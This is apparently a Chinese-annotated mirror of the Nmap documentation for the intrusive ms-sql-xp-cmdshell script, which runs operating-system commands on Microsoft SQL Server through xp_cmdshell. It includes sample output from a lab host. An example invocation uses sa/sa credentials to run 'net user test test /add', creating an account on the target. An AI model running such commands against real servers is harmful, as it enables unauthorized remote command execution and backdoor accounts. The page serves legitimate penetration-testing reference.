ms-sql-xp-cmdshell
脚本使用类型:
hostrule, portrule
脚本所属分类:
intrusive
脚本下载地址: http://nmap.org/svn/scripts/ms-sql-xp-cmdshell.nse
Attempts to run a command using the command shell of Microsoft SQL Server (ms-sql).
SQL Server credentials required: Yes (use ms-sql-brute
, ms-sql-empty-password
and/or mssql.username
& mssql.password
)
Run criteria:
mssql.instance-all
, mssql.instance-name
mssql.instance-port
script arguments are used (see mssql.lua).
mssql.instance-all
, mssql.instance-name
and mssql.instance-port
script arguments are NOT used.
The script needs an account with the sysadmin server role to work.
When run, the script iterates over the credentials and attempts to run the command until either all credentials are exhausted or until the command is executed.
NOTE: Communication with instances via named pipes depends on the smb
library. To communicate with (and possibly to discover) instances via named pipes,
the host must have at least one SMB port (e.g. TCP 445) that was scanned and
found to be open. Additionally, named pipe connections may require Windows
authentication to connect to the Windows host (via SMB) in addition to the
authentication required to connect to the SQL Server instances itself. See the
documentation and arguments for the smb
library for more information.
NOTE: By default, the ms-sql-* scripts may attempt to connect to and communicate
with ports that were not included in the port list for the Nmap scan. This can
be disabled using the mssql.scanned-ports-only
script argument.
The OS command to run (default: ipconfig /all).
执行格式
nmap -p 445 --script ms-sql-discover,ms-sql-empty-password,ms-sql-xp-cmdshell <host> nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="net user test test /add" <host>
| ms-sql-xp-cmdshell: | [192.168.56.3\MSSQLSERVER] | Command: ipconfig /all | output | ====== | | Windows IP Configuration | | Host Name . . . . . . . . . . . . : EDUSRV011 | Primary Dns Suffix . . . . . . . : cqure.net | Node Type . . . . . . . . . . . . : Unknown | IP Routing Enabled. . . . . . . . : No | WINS Proxy Enabled. . . . . . . . : No | DNS Suffix Search List. . . . . . : cqure.net | | Ethernet adapter Local Area Connection 3: | | Connection-specific DNS Suffix . : | Description . . . . . . . . . . . : AMD PCNET Family PCI Ethernet Adapter #2 | Physical Address. . . . . . . . . : 08-00-DE-AD-C0-DE | DHCP Enabled. . . . . . . . . . . : Yes | Autoconfiguration Enabled . . . . : Yes | IP Address. . . . . . . . . . . . : 192.168.56.3 | Subnet Mask . . . . . . . . . . . : 255.255.255.0 | Default Gateway . . . . . . . . . : | DHCP Server . . . . . . . . . . . : 192.168.56.2 | Lease Obtained. . . . . . . . . . : den 21 mars 2010 00:12:10 | Lease Expires . . . . . . . . . . : den 21 mars 2010 01:12:10 |_
Author: Patrik Karlsson
License: VER007 整理 http://www.ver007.com